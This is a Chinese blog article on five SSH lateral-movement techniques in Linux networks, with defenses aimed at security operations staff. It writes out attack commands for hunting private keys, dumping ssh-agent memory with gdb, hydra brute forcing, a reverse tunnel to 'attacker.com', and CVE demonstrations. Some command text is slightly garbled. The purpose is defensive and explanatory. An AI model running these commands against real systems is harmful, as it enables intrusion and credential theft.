Linux内网渗透必知必会:SSH横向移动的5种常见手法与防御措施

张开发
2026/4/19 20:12:32 15 分钟阅读

分享文章

Linux内网渗透必知必会:SSH横向移动的5种常见手法与防御措施
Linux内网渗透中SSH横向移动的攻防实战指南当你发现内网中一台Linux服务器沦陷时攻击者很可能已经通过SSH开始在内网横向移动。作为企业安全运维人员了解这些手法并提前部署防御措施至关重要。本文将深入剖析五种最常见的SSH横向移动技术从攻击原理到防御方案为你提供一套完整的防护体系。1. SSH密钥窃取与利用攻击者获取SSH私钥后可以无需密码直接登录到其他服务器。这是内网渗透中最常见也最危险的横向移动方式之一。攻击手法深度解析密钥文件定位攻击者通常会在以下位置搜索私钥文件~/.ssh/id_rsa ~/.ssh/id_dsa ~/.ssh/authorized_keys ~/.ssh/config /tmp/ /var/tmp/历史命令分析通过检查.bash_history文件攻击者可以发现曾经使用过的SSH连接命令grep -i ssh -i ~/.bash_history内存提取高级攻击者会使用工具从进程内存中提取SSH密钥# 使用gdb提取ssh-agent中的密钥 gdb -p $(pidof ssh-agent) -ex x/s *((void**)($esp4)) -batch防御策略实战部署密钥管理规范为每个服务器生成独立的密钥对定期轮换密钥建议每90天一次禁止在多个服务器间共享同一密钥密钥保护强化# 设置严格的密钥文件权限 chmod 600 ~/.ssh/id_rsa chmod 644 ~/.ssh/id_rsa.pub chmod 700 ~/.ssh监控与检测部署文件完整性监控FIM保护关键密钥文件监控异常SSH登录行为如非工作时间登录2. 密码爆破与弱凭据利用当密钥不可用时攻击者会转向密码爆破。内网环境中弱密码和默认凭据仍然是普遍存在的安全隐患。攻击技术进阶精准爆破技术# 使用hydra进行针对性爆破 hydra -l username -P passwords.txt ssh://target_ip -t 4 -vV凭证重用攻击从数据库配置文件中提取凭据从Web应用配置中收集密码利用内存转储获取明文密码防御体系构建防御措施实施方法效果评估密码策略强化最小长度12字符包含大小写、数字和特殊字符降低爆破成功率90%账户锁定机制5次失败尝试后锁定账户30分钟阻止自动化爆破工具多因素认证结合TOTP或硬件令牌即使密码泄露也无法登录特权账户隔离禁止普通用户使用SSH缩小攻击面操作建议# 安装Google Authenticator for SSH sudo apt install libpam-google-authenticator google-authenticator3. SSH隧道与端口转发滥用攻击者利用SSH的端口转发功能建立隐蔽通道绕过网络访问控制。隧道技术详解本地端口转发ssh -L 8080:internal_server:80 jump_host将内部服务器的80端口映射到本地的8080端口远程端口转发ssh -R 2222:localhost:22 attacker.com在攻击者服务器上创建反向隧道动态SOCKS代理ssh -D 1080 compromised_host建立完整的SOCKS代理通道防御方案实施网络分段控制# 使用iptables限制SSH端口转发 iptables -A OUTPUT -p tcp --dport 22 -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT iptables -A OUTPUT -p tcp --dport 22 -j DROPSSH配置加固# /etc/ssh/sshd_config AllowTcpForwarding no PermitTunnel no GatewayPorts no网络流量监控检测异常的SSH连接持续时间监控非标准端口的SSH流量4. SSH代理与跳板利用攻击者通过SSH的代理功能将已攻陷主机作为跳板访问更深层网络。攻击链分析代理环境建立ssh -A compromised_host-A参数启用认证代理转发多级跳板连接ssh -J user1host1,user2host2 target_host通过多个跳板机连接目标持久化控制# 创建持久SSH连接 autossh -M 0 -f -N -T userhost防御策略精要代理功能禁用# /etc/ssh/sshd_config AllowAgentForwarding no网络访问控制实施严格的出站连接白名单限制服务器间的SSH连接路径用户行为分析# 监控SSH连接链 netstat -tnp | grep ssh lsof -i -n | grep ssh5. SSH服务漏洞利用虽然SSH协议本身安全性较高但配置不当或版本漏洞仍可能被利用。高危漏洞案例CVE-2020-15778OpenSSH命令注入scp /dev/null userhost:touch /tmp/pwnedCVE-2018-15473用户名枚举漏洞python ssh-username-enum.py --port 22 --userList users.txt targetCVE-2016-0777信息泄露漏洞ssh -T -o ProxyCommand ssh -W %h:%p userhost userhost漏洞防护体系补丁管理流程# Ubuntu/Debian sudo apt update sudo apt upgrade openssh-server -y # RHEL/CentOS sudo yum update openssh-server -y安全配置基线# /etc/ssh/sshd_config Protocol 2 LogLevel VERBOSE PermitRootLogin no MaxAuthTries 3 LoginGraceTime 1m入侵检测规则# Suricata规则示例 alert ssh any any - any 22 (msg:SSH暴力破解尝试; flow:to_server; detection_filter:track by_src, count 5, seconds 60; sid:1000001;)综合防御架构设计构建纵深防御体系是应对SSH横向移动的关键。以下是企业级防护方案网络架构优化实施零信任网络模型部署网络微分段建立SSH访问专用通道身份认证强化# 证书认证配置示例 AuthorizedKeysFile .ssh/authorized_keys TrustedUserCAKeys /etc/ssh/ca.pub RevokedKeys /etc/ssh/revoked_keys日志集中分析# 日志转发配置示例 *.* syslog.example.com:514应急响应预案立即重置所有受影响服务器的SSH密钥审查所有SSH授权密钥检查所有cron作业和系统服务审计所有sudo权限配置在实际运维中我们曾遇到攻击者通过Jenkins服务器获取SSH凭据后横向移动的案例。关键发现是攻击者会优先寻找自动化工具中存储的凭据因此对这些系统的保护尤为重要。

更多文章